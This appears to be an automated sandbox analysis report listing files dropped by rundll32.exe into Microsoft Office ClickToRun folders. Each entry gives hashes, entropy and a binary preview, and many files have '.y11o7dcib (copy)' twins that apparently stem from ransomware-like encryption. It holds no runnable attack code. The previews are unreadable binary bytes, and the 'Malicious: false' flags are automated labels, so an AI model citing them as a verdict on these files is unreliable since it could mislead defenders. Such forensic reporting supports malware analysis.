SHA-512:	1CA26017D8DE897CBC7BD0EDE361EACC859DC0CF2BC0E7BBE62BD1AD4845E50F1FBE9F85489D753BE880D4501B5467C50FFC73EE3A2AF16E4E4971FA901113A0
Malicious:	false
Preview:	.W...`.tYU...L~...b.;g.."....e V. ....Dj....;$.cP.b.].U...A2z.A........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............Hz...t...~.~.\.b..g..i...e V. ....Dj....+$.cP..].U...A.x.A..............................`A........................................@...4............ ..H................M..............8.....z..`.t]U...~.\.b.;g..b....e V. ....Dj....;$.cP.b.].U...A.z.A.........rdata..............................@..@.rsrc...H.... ......................@..@..........................................z..`.t]U...~.\.b.;g..b....e V. ....Dj....;$.cP.b.].U...A.z.A..................................................................................................................................z..`.t]U...~.\.b.;g..b....e V. ....Dj....;$.cP.b.].U...A.z.A..................................................................................................................................z..`.t]U...~.\.b.;g..b....e V. ....D

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.sl-si.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	55722
Entropy (8bit):	7.732875981072031
Encrypted:	false
SSDEEP:	768:tq3jH+ur8f70xPVnS5xNHBqJOtIrRzVjL/uUcdkqClgwVo4K4mcbXORAhTzmB2:tmrp80xPVmNtIrfSbddCew+dKSAhf
MD5:	B851CBB7D4A574D0D3EB68F13516EF8E
SHA1:	DD20974626A1E10C0E64D87B2F991C8246D51AC4
SHA-256:	1511566D12ACCB6C6220AA9FEFEA74DCDA12238ABD0BE448E57C15D7BA1E1149
SHA-512:	757C33DF0718757EA030BB6F69BB35A0631347733F997C0E2EEADA0E9F44D855F377752E57123D533F9D9C9C7DF34576A88B6E1DFB9AD05C27CCEFA5708B78BD
Malicious:	false
Preview:	.,.z.H~....qTb.J.....q.N.}...........9....Z.d:.'fz........ F.........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............3.zv.\|.Z~.....J....+q%n[......O.....9....Z.d:.'f........."F...............................`A........................................@...4............ ..L...............pN..............8....v.z.H~....q...J.....q.NP}...........9....Z.d:.'fz........ F..........rdata..............................@..@.rsrc...L.... ......................@..@.........................................v.z.H~....q...J.....q.NP}...........9....Z.d:.'fz........ F..................................................................................................................................v.z.H~....q...J.....q.NP}...........9....Z.d:.'fz........ F..................................................................................................................................v.z.H~....q...J.....q.NP}...........9

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.sl-si.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	55722
Entropy (8bit):	7.732875981072031
Encrypted:	false
SSDEEP:	768:tq3jH+ur8f70xPVnS5xNHBqJOtIrRzVjL/uUcdkqClgwVo4K4mcbXORAhTzmB2:tmrp80xPVmNtIrfSbddCew+dKSAhf
MD5:	B851CBB7D4A574D0D3EB68F13516EF8E
SHA1:	DD20974626A1E10C0E64D87B2F991C8246D51AC4
SHA-256:	1511566D12ACCB6C6220AA9FEFEA74DCDA12238ABD0BE448E57C15D7BA1E1149
SHA-512:	757C33DF0718757EA030BB6F69BB35A0631347733F997C0E2EEADA0E9F44D855F377752E57123D533F9D9C9C7DF34576A88B6E1DFB9AD05C27CCEFA5708B78BD
Malicious:	false
Preview:	.,.z.H~....qTb.J.....q.N.}...........9....Z.d:.'fz........ F.........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............3.zv.\|.Z~.....J....+q%n[......O.....9....Z.d:.'f........."F...............................`A........................................@...4............ ..L...............pN..............8....v.z.H~....q...J.....q.NP}...........9....Z.d:.'fz........ F..........rdata..............................@..@.rsrc...L.... ......................@..@.........................................v.z.H~....q...J.....q.NP}...........9....Z.d:.'fz........ F..................................................................................................................................v.z.H~....q...J.....q.NP}...........9....Z.d:.'fz........ F..................................................................................................................................v.z.H~....q...J.....q.NP}...........9

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.sr-latn-rs.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	54994
Entropy (8bit):	7.733178595558105
Encrypted:	false
SSDEEP:	1536:ccwqe3ZEcWaYATZXeUF0wao1hoSt9APwG9B:ccXe3ZEfUFj1hoStaL
MD5:	C2BA46F9B9EC5DFB9C77015ACA353FE7
SHA1:	4AEE7B03C60D414AF2083684DCFDEC9058D2F290
SHA-256:	C16DCF3055A5A21FFC95F1423BED62BF6308F5A03CEAA6F03B8AF52C721A1968
SHA-512:	E0CA9241F76A54F8E8BB4DC15E352BF6D3D019BE05A897CD97343934D9854C81996C7645825258F67D77D412E4FF88E6F63967D6A8B7BBD46445408B677F23F4
Malicious:	false
Preview:	}..(.<.^>W...r..j7.8_X....]..3.........C..r.....o.N.\|.Bt7............!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............`.:(p..^..7...r.u.j7.8}x....]..3.[.......C..r.......N.\|.Rt7............................6,....`A........................................@...4............ ...................M..............8...0.:(.<.^:W...r.u.j7.8_X....]..3.........C..r.....o.N.\|.Bt7.............rdata..............................@..@.rsrc........ ......................@..@........................................0.:(.<.^:W...r.u.j7.8_X....]..3.........C..r.....o.N.\|.Bt7....................................................................................................................................0.:(.<.^:W...r.u.j7.8_X....]..3.........C..r..*...o.N.\|.Bt7....................................................................................................................................0.:(.<.^:W...r.u.j7.8_X....]..3........

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.sr-latn-rs.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	54994
Entropy (8bit):	7.733178595558105
Encrypted:	false
SSDEEP:	1536:ccwqe3ZEcWaYATZXeUF0wao1hoSt9APwG9B:ccXe3ZEfUFj1hoStaL
MD5:	C2BA46F9B9EC5DFB9C77015ACA353FE7
SHA1:	4AEE7B03C60D414AF2083684DCFDEC9058D2F290
SHA-256:	C16DCF3055A5A21FFC95F1423BED62BF6308F5A03CEAA6F03B8AF52C721A1968
SHA-512:	E0CA9241F76A54F8E8BB4DC15E352BF6D3D019BE05A897CD97343934D9854C81996C7645825258F67D77D412E4FF88E6F63967D6A8B7BBD46445408B677F23F4
Malicious:	false
Preview:	}..(.<.^>W...r..j7.8_X....]..3.........C..r.....o.N.\|.Bt7............!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............`.:(p..^..7...r.u.j7.8}x....]..3.[.......C..r.......N.\|.Rt7............................6,....`A........................................@...4............ ...................M..............8...0.:(.<.^:W...r.u.j7.8_X....]..3.........C..r.....o.N.\|.Bt7.............rdata..............................@..@.rsrc........ ......................@..@........................................0.:(.<.^:W...r.u.j7.8_X....]..3.........C..r.....o.N.\|.Bt7....................................................................................................................................0.:(.<.^:W...r.u.j7.8_X....]..3.........C..r..*...o.N.\|.Bt7....................................................................................................................................0.:(.<.^:W...r.u.j7.8_X....]..3........

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.sv-se.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	52434
Entropy (8bit):	7.6392380086350595
Encrypted:	false
SSDEEP:	768:uSz+vDm1U7KqPHasmxT60rFcM5MJsys1XQ0Oo9TbrmRhGt911gSW30emLCjpP:urv5Nasr0yM5MKyGXPOMamfg5/mL0F
MD5:	B830E2B64AD231F98BC34F5F8755511D
SHA1:	0BCA41A715AFB769BF11F9BE903341B8091D936B
SHA-256:	A8368FCD8F45705563A8E946609B9AAC12054E0949E3A4ECC0751B27871671DD
SHA-512:	84B7EBE0DA00CC089A37B8944CA49AC7B922C4C12D410D2738B19665AD1822F53C3CE3353B4F16CAA248F8EC9310458B3924A5AB73AC3D17B07D97E398D4C715
Malicious:	false
Preview:	.G....y%..d.h...H.5....9ME.....A.zv....K..)l.d..."x^.nr.............!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............X...e{%....a....5...)..G.9...;.zv....K..9l.d...#x^.~r.{...........................8(....`A........................................@...4............ ...w...........~...M..............8.........y%..d..a....5....9.E.....A.zv....K..)l.d..."x^.nr.{............rdata..............................@..@.rsrc....w... ...x..................@..@..............................................y%..d..a....5....9.E.....A.zv....K..)l.d..."x^.nr.{.........................................................................................................................................y%..d..a....5....9.E.....A.zv....K..)l.d..."x^.*nr.{.........................................................................................................................................y%..d..a....5....9.E.....A.zv..

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.sv-se.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	52434
Entropy (8bit):	7.6392380086350595
Encrypted:	false
SSDEEP:	768:uSz+vDm1U7KqPHasmxT60rFcM5MJsys1XQ0Oo9TbrmRhGt911gSW30emLCjpP:urv5Nasr0yM5MKyGXPOMamfg5/mL0F
MD5:	B830E2B64AD231F98BC34F5F8755511D
SHA1:	0BCA41A715AFB769BF11F9BE903341B8091D936B
SHA-256:	A8368FCD8F45705563A8E946609B9AAC12054E0949E3A4ECC0751B27871671DD
SHA-512:	84B7EBE0DA00CC089A37B8944CA49AC7B922C4C12D410D2738B19665AD1822F53C3CE3353B4F16CAA248F8EC9310458B3924A5AB73AC3D17B07D97E398D4C715
Malicious:	false
Preview:	.G....y%..d.h...H.5....9ME.....A.zv....K..)l.d..."x^.nr.............!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............X...e{%....a....5...)..G.9...;.zv....K..9l.d...#x^.~r.{...........................8(....`A........................................@...4............ ...w...........~...M..............8.........y%..d..a....5....9.E.....A.zv....K..)l.d..."x^.nr.{............rdata..............................@..@.rsrc....w... ...x..................@..@..............................................y%..d..a....5....9.E.....A.zv....K..)l.d..."x^.nr.{.........................................................................................................................................y%..d..a....5....9.E.....A.zv....K..)l.d..."x^.*nr.{.........................................................................................................................................y%..d..a....5....9.E.....A.zv..

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.th-th.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	55714
Entropy (8bit):	7.521570400283934
Encrypted:	false
SSDEEP:	768:3tNhhnZ/LWfVGZtwIO57wyYeJO1R1mi5Zip8o9A+jS3dAembSmf1t0myXrlSbsID:3tNhhn56dJIO5spY5mESBcLz0rl4hD
MD5:	007B1AE95CF65C6AAC364531C581D06B
SHA1:	81EBF8330A5148A723E1284F76FC4360BD6FF8E8
SHA-256:	BFB5860541C3E82031D63FD26F180CBAF23A810157112AA156ADC142FF43B5FD
SHA-512:	28D9EEBF19388BD7A0239F7368B08601E7ECFD4125ECCC4C27445C07D01CE3291026AB0986B85462DBBCCD4FA503402BD5F7E9F951ED2DDB88114A0473F6EFBC
Malicious:	false
Preview:	.E.v.7JB......+......b.YgLb3...c..n1..9?`L..._K.P..4.3..!...........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............Z-vw.HB...fM.+d...B.@&.eBB3..gc..n1..9?`L..._K....4.3..!.................................`A........................................@...4............ ..<...............hN..............8.....-v.7JB....M.+d.....b..gLb3...c..n1..9?`L..._K.P..4.3..!............rdata..............................@..@.rsrc...<.... ......................@..@..........................................-v.7JB....M.+d.....b..gLb3...c..n1..9?`L..._K.P..4.3..!.....................................................................................................................................-v.7JB....M.+d.....b..gLb3...c..n1..9?`L..._K.P..4.3..!.....................................................................................................................................-v.7JB....M.+d.....b..gLb3...c..n1.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.th-th.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	55714
Entropy (8bit):	7.521570400283934
Encrypted:	false
SSDEEP:	768:3tNhhnZ/LWfVGZtwIO57wyYeJO1R1mi5Zip8o9A+jS3dAembSmf1t0myXrlSbsID:3tNhhn56dJIO5spY5mESBcLz0rl4hD
MD5:	007B1AE95CF65C6AAC364531C581D06B
SHA1:	81EBF8330A5148A723E1284F76FC4360BD6FF8E8
SHA-256:	BFB5860541C3E82031D63FD26F180CBAF23A810157112AA156ADC142FF43B5FD
SHA-512:	28D9EEBF19388BD7A0239F7368B08601E7ECFD4125ECCC4C27445C07D01CE3291026AB0986B85462DBBCCD4FA503402BD5F7E9F951ED2DDB88114A0473F6EFBC
Malicious:	false
Preview:	.E.v.7JB......+......b.YgLb3...c..n1..9?`L..._K.P..4.3..!...........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............Z-vw.HB...fM.+d...B.@&.eBB3..gc..n1..9?`L..._K....4.3..!.................................`A........................................@...4............ ..<...............hN..............8.....-v.7JB....M.+d.....b..gLb3...c..n1..9?`L..._K.P..4.3..!............rdata..............................@..@.rsrc...<.... ......................@..@..........................................-v.7JB....M.+d.....b..gLb3...c..n1..9?`L..._K.P..4.3..!.....................................................................................................................................-v.7JB....M.+d.....b..gLb3...c..n1..9?`L..._K.P..4.3..!.....................................................................................................................................-v.7JB....M.+d.....b..gLb3...c..n1.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.tr-tr.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	57554
Entropy (8bit):	7.467319544675213
Encrypted:	false
SSDEEP:	1536:5iEjqq5aBo68nD6JMxFwC5OFDCzpo2n6r7FN91JFD4:5iOz5aBo68nmMxFv5OQpoJHv97F0
MD5:	105AF80AAD8BFD537FF6F18C51A9602A
SHA1:	E60E0A35C81B8DD275B7FAFC26F284666CA48EBC
SHA-256:	3D74D476FEABAAA50793E8D0C4A3AB2DF5D862329BF66D156E4AE91CA6C405E1
SHA-512:	20DC680E676C24DBBE2942A2298BB1DDC0EA3E8B0EEBAD442F005739F7BD5070C3B59CA8BD84EE40B2360314BEBB9379AE8F4D1B049F4594FFAA3629D285E394
Malicious:	false
Preview:	...f......?...2p.M..+.E.it...?....Z.'W..A..c.... .{.............!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich..............4f.....'.z?...2pnM70`.K.it...?....Z.'W..A..c... .k...................................`A........................................@...4............ ..p................M..............8...O.4f.....z?...2p.M..k.E.it...?....Z.'W..A..c.... .{..............rdata..............................@..@.rsrc...p.... ......................@..@........................................O.4f.....z?...2p.M..k.E.it...?....Z.'W..A..c.... .{.....................................................................................................................................O.4f.....z?...2p.M..k.E.it...?....Z.'W..A..c.... .{.....................................................................................................................................O.4f.....z?...2p.M..k.E.it...?....

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.tr-tr.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	57554
Entropy (8bit):	7.467319544675213
Encrypted:	false
SSDEEP:	1536:5iEjqq5aBo68nD6JMxFwC5OFDCzpo2n6r7FN91JFD4:5iOz5aBo68nmMxFv5OQpoJHv97F0
MD5:	105AF80AAD8BFD537FF6F18C51A9602A
SHA1:	E60E0A35C81B8DD275B7FAFC26F284666CA48EBC
SHA-256:	3D74D476FEABAAA50793E8D0C4A3AB2DF5D862329BF66D156E4AE91CA6C405E1
SHA-512:	20DC680E676C24DBBE2942A2298BB1DDC0EA3E8B0EEBAD442F005739F7BD5070C3B59CA8BD84EE40B2360314BEBB9379AE8F4D1B049F4594FFAA3629D285E394
Malicious:	false
Preview:	...f......?...2p.M..+.E.it...?....Z.'W..A..c.... .{.............!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich..............4f.....'.z?...2pnM70`.K.it...?....Z.'W..A..c... .k...................................`A........................................@...4............ ..p................M..............8...O.4f.....z?...2p.M..k.E.it...?....Z.'W..A..c.... .{..............rdata..............................@..@.rsrc...p.... ......................@..@........................................O.4f.....z?...2p.M..k.E.it...?....Z.'W..A..c.... .{.....................................................................................................................................O.4f.....z?...2p.M..k.E.it...?....Z.'W..A..c.... .{.....................................................................................................................................O.4f.....z?...2p.M..k.E.it...?....

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.uk-ua.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	57762
Entropy (8bit):	7.632525034976271
Encrypted:	false
SSDEEP:	1536:tyJLCtqykbX2lzCD3RDRFvtxjHU6SfM82A1Xm1:tylCqmdCDBDRFjjHU6SEyk
MD5:	3889CA28989D571F6DB5DE15552D8460
SHA1:	C32CB706B6C60F236C59B2699FB9873DB3A6B38C
SHA-256:	77DC21B7D878C5640518A1B905CD0334E3130921802F15968625E8E4DF20675E
SHA-512:	44AA30D40B56FF9E9BB533ABA5468D7C701C966390E69B1F096AE5DB015F7D78AFAED1CA09A1CD2DD6077551545E4F844526405B2895C8E5D05D5FB2FDD5E9C3
Malicious:	false
Preview:	....fQ.>1<..)F...7..F...{....uKo..?.....[.].-.x..NO..b...[........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich..............(...S.$..U.N.)......f.$ {.....Ko..?.....:[.].-Hy..NO..bh..[..............................`A........................................@...4............ ..,...............hN..............8.....(.fQ.>1.N.)....7..F..{....uKo..?.....[.].-.x..NO..bh..[.........rdata..............................@..@.rsrc...,.... ......................@..@..........................................(.fQ.>1.N.)....7..F..{....uKo..?.....[.].-.x..NO..bh..[..................................................................................................................................(.fQ.>1.N.)....7..F..{....uKo..?.....[.].-.x..NO..bh..[..................................................................................................................................(.fQ.>1.N.)....7..F..{....uKo..?.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.uk-ua.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	57762
Entropy (8bit):	7.632525034976271
Encrypted:	false
SSDEEP:	1536:tyJLCtqykbX2lzCD3RDRFvtxjHU6SfM82A1Xm1:tylCqmdCDBDRFjjHU6SEyk
MD5:	3889CA28989D571F6DB5DE15552D8460
SHA1:	C32CB706B6C60F236C59B2699FB9873DB3A6B38C
SHA-256:	77DC21B7D878C5640518A1B905CD0334E3130921802F15968625E8E4DF20675E
SHA-512:	44AA30D40B56FF9E9BB533ABA5468D7C701C966390E69B1F096AE5DB015F7D78AFAED1CA09A1CD2DD6077551545E4F844526405B2895C8E5D05D5FB2FDD5E9C3
Malicious:	false
Preview:	....fQ.>1<..)F...7..F...{....uKo..?.....[.].-.x..NO..b...[........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich..............(...S.$..U.N.)......f.$ {.....Ko..?.....:[.].-Hy..NO..bh..[..............................`A........................................@...4............ ..,...............hN..............8.....(.fQ.>1.N.)....7..F..{....uKo..?.....[.].-.x..NO..bh..[.........rdata..............................@..@.rsrc...,.... ......................@..@..........................................(.fQ.>1.N.)....7..F..{....uKo..?.....[.].-.x..NO..bh..[..................................................................................................................................(.fQ.>1.N.)....7..F..{....uKo..?.....[.].-.x..NO..bh..[..................................................................................................................................(.fQ.>1.N.)....7..F..{....uKo..?.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.vi-vn.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	59298
Entropy (8bit):	7.4281640118375645
Encrypted:	false
SSDEEP:	1536:qe8M5j3if6ffcVs1cijjBxQyxewB/oIgmMlJiCui7MbDN:q/M5jSfqfms1rjN7xewB/oIgmMlJiQ7K
MD5:	6F3BB0095707C9C7B57F4DF4ECD77E20
SHA1:	9B4C686D9B46FB35A3482B920837A880D91AE3C3
SHA-256:	960166A9CD4FBDEFAB18240E3906E4D7B8F4089B0A8D38526F035C81B6781C95
SHA-512:	B145ED0F959F0EAE22013E6A7A9AA6A8D886FE29E2B949B63C449904D924CF2BE500CED0316C774928FBB897D87C736F702413B07D11EF64065CAF7F2FAED222
Malicious:	false
Preview:	..`......o0u....'].I..p..T..k.X...D..(.}{..(..Kl.]...$^...........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich...............`.!..2..T.%...']....P..Z..k.X...D..(.}k..(...m.]...$............................K.....`A........................................@...4............ ..d...............hN..............8...P.`.....o0.%...'].I..p..T..k.X...D..(.}{..(..Kl.]...$.............rdata..............................@..@.rsrc...d.... ......................@..@........................................P.`.....o0.%...'].I..p..T..k.X...D..(.}{..(..Kl.]...$....................................................................................................................................P.`.....o0.%...'].I..p..T..k.X...D..(.}{..(..Kl.]...$....................................................................................................................................P.`.....o0.%...'].I..p..T..k.X...D..

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.vi-vn.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	59298
Entropy (8bit):	7.4281640118375645
Encrypted:	false
SSDEEP:	1536:qe8M5j3if6ffcVs1cijjBxQyxewB/oIgmMlJiCui7MbDN:q/M5jSfqfms1rjN7xewB/oIgmMlJiQ7K
MD5:	6F3BB0095707C9C7B57F4DF4ECD77E20
SHA1:	9B4C686D9B46FB35A3482B920837A880D91AE3C3
SHA-256:	960166A9CD4FBDEFAB18240E3906E4D7B8F4089B0A8D38526F035C81B6781C95
SHA-512:	B145ED0F959F0EAE22013E6A7A9AA6A8D886FE29E2B949B63C449904D924CF2BE500CED0316C774928FBB897D87C736F702413B07D11EF64065CAF7F2FAED222
Malicious:	false
Preview:	..`......o0u....'].I..p..T..k.X...D..(.}{..(..Kl.]...$^...........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich...............`.!..2..T.%...']....P..Z..k.X...D..(.}k..(...m.]...$............................K.....`A........................................@...4............ ..d...............hN..............8...P.`.....o0.%...'].I..p..T..k.X...D..(.}{..(..Kl.]...$.............rdata..............................@..@.rsrc...d.... ......................@..@........................................P.`.....o0.%...'].I..p..T..k.X...D..(.}{..(..Kl.]...$....................................................................................................................................P.`.....o0.%...'].I..p..T..k.X...D..(.}{..(..Kl.]...$....................................................................................................................................P.`.....o0.%...'].I..p..T..k.X...D..

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.zh-cn.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	50378
Entropy (8bit):	7.524875651303257
Encrypted:	false
SSDEEP:	1536:mjP/1OOcXfNYB1zGORxNBYEkgAP86Dagg:mr/8YB1zGwzBiq6D0
MD5:	73B0DD81F80087CFB3B59709BFF5122E
SHA1:	01ECEA336B5E47541AD14C72B7D4FC868A623F4D
SHA-256:	26B85DD7550A42C310259B4B58D72B4439358914BDA48A95F74A4465E8E51138
SHA-512:	0ED20F41F114A21F8A63F701CFEEC87BD1DC5ACA4586BB971EA9102024FCD6FD477698EF468171012951D2C74FF8D25305FC53414039A382C469BA6F30EBB4EC
Malicious:	false
Preview:	...b.......j.%W.e....y..P~..!...!......x4..m.}..C.'fB!...xA...y........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich..............2b.(..d.i.,.W......y..\|..!...!.....x4..m.}..C..gB!...xAQ..y........................n.....`A........................................@...4............ ...n...........v...M..............8...G[2b.......j,.W......y...~..!...!......x4..m.}..C.'fB!...xAQ..y.........rdata..............................@..@.rsrc....n... ...p..................@..@........................................G[2b.......j,.W......y...~..!...!......x4..m.}..C.'fB!...xAQ..y................................................................................................................................G[2b.......j,.W......y...~..!...!......x4..m.}..C.'fB!...xAQ..y................................................................................................................................G[2b.......j,.W......y...~..!...!......x

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.zh-cn.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	50378
Entropy (8bit):	7.524875651303257
Encrypted:	false
SSDEEP:	1536:mjP/1OOcXfNYB1zGORxNBYEkgAP86Dagg:mr/8YB1zGwzBiq6D0
MD5:	73B0DD81F80087CFB3B59709BFF5122E
SHA1:	01ECEA336B5E47541AD14C72B7D4FC868A623F4D
SHA-256:	26B85DD7550A42C310259B4B58D72B4439358914BDA48A95F74A4465E8E51138
SHA-512:	0ED20F41F114A21F8A63F701CFEEC87BD1DC5ACA4586BB971EA9102024FCD6FD477698EF468171012951D2C74FF8D25305FC53414039A382C469BA6F30EBB4EC
Malicious:	false
Preview:	...b.......j.%W.e....y..P~..!...!......x4..m.}..C.'fB!...xA...y........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich..............2b.(..d.i.,.W......y..\|..!...!.....x4..m.}..C..gB!...xAQ..y........................n.....`A........................................@...4............ ...n...........v...M..............8...G[2b.......j,.W......y...~..!...!......x4..m.}..C.'fB!...xAQ..y.........rdata..............................@..@.rsrc....n... ...p..................@..@........................................G[2b.......j,.W......y...~..!...!......x4..m.}..C.'fB!...xAQ..y................................................................................................................................G[2b.......j,.W......y...~..!...!......x4..m.}..C.'fB!...xAQ..y................................................................................................................................G[2b.......j,.W......y...~..!...!......x

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.zh-tw.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	51106
Entropy (8bit):	7.5361538417325535
Encrypted:	false
SSDEEP:	768:WW5xNBJEi/OfJklaoO9d4dxgYQ6KpNaZfjxIFxmYTDWPhPVUY7uD:WWRBJEicklPO9dmxgYQ6/ZaHbnWPof
MD5:	0656AD72CAAAE626F0382C14AA10DAD6
SHA1:	CD6CBAAE479471562AACFC7770D266C73C4038D1
SHA-256:	E87594FA6C8F2A55B991C8A4B818AA25FC150DD37D0F7BAB3A39FFD35E37EFD7
SHA-512:	4CF758F229EE690E6A7B3A9F1647CFD834E111AF902E8921FEE751AE17BC9AB1B1571044C6F02BC5EBCF88279EFD0DC0910661D27A74F8EFB163021894CFACE0
Malicious:	false
Preview:	..Ka........)..P..[..h..].8.Y..o..r6..{-.w.....R..B.._.;F...........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich...............a.....}........[..J3._...Y..o.r6..{-.w.>...R.C..O.;..................................`A........................................@...4............ ..Tp...........x..hN..............8....I.a.............[..h..].8.Y..o..r6..{-.w.....R..B.._.;.............rdata..............................@..@.rsrc...Tp... ...r..................@..@.........................................I.a.............[..h..].8.Y..o..r6..{-.w.....R..B.._.;.....................................................................................................................................I.a.............[..h..].8.Y..o..r6..{-.w.....R..B.._.;.....................................................................................................................................I.a.............[..h..].8.Y..o..r6..

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.zh-tw.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	51106
Entropy (8bit):	7.5361538417325535
Encrypted:	false
SSDEEP:	768:WW5xNBJEi/OfJklaoO9d4dxgYQ6KpNaZfjxIFxmYTDWPhPVUY7uD:WWRBJEicklPO9dmxgYQ6/ZaHbnWPof
MD5:	0656AD72CAAAE626F0382C14AA10DAD6
SHA1:	CD6CBAAE479471562AACFC7770D266C73C4038D1
SHA-256:	E87594FA6C8F2A55B991C8A4B818AA25FC150DD37D0F7BAB3A39FFD35E37EFD7
SHA-512:	4CF758F229EE690E6A7B3A9F1647CFD834E111AF902E8921FEE751AE17BC9AB1B1571044C6F02BC5EBCF88279EFD0DC0910661D27A74F8EFB163021894CFACE0
Malicious:	false
Preview:	..Ka........)..P..[..h..].8.Y..o..r6..{-.w.....R..B.._.;F...........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich...............a.....}........[..J3._...Y..o.r6..{-.w.>...R.C..O.;..................................`A........................................@...4............ ..Tp...........x..hN..............8....I.a.............[..h..].8.Y..o..r6..{-.w.....R..B.._.;.............rdata..............................@..@.rsrc...Tp... ...r..................@..@.........................................I.a.............[..h..].8.Y..o..r6..{-.w.....R..B.._.;.....................................................................................................................................I.a.............[..h..].8.Y..o..r6..{-.w.....R..B.._.;.....................................................................................................................................I.a.............[..h..].8.Y..o..r6..

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RUI.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2934130
Entropy (8bit):	7.091944433416831
Encrypted:	false
SSDEEP:	49152:Fj//L8G2a3LIpJ9drUiwpYFrG19UXJTGcidngY4odQM9tm8FdKr:FrdWUNETY9t9P0r
MD5:	D96E8BC7353729979CF406282CE6CBEF
SHA1:	F58688EFC62E57E5C14905E5BDC9A75361C00A24
SHA-256:	C7EA4E8E9202451E38F587F70369CC5EA3CE895412B58240BD827F5A8F1A05C1
SHA-512:	441DCFA0BA6D4C9A5D6F74FD8E3EDEC3D2931D6CA69AE84E990CDCEDE5F376D4FD225C604F5EFC334E3604020290FAF7B5F7DF20E45902558F71F4BC87F029CA
Malicious:	false
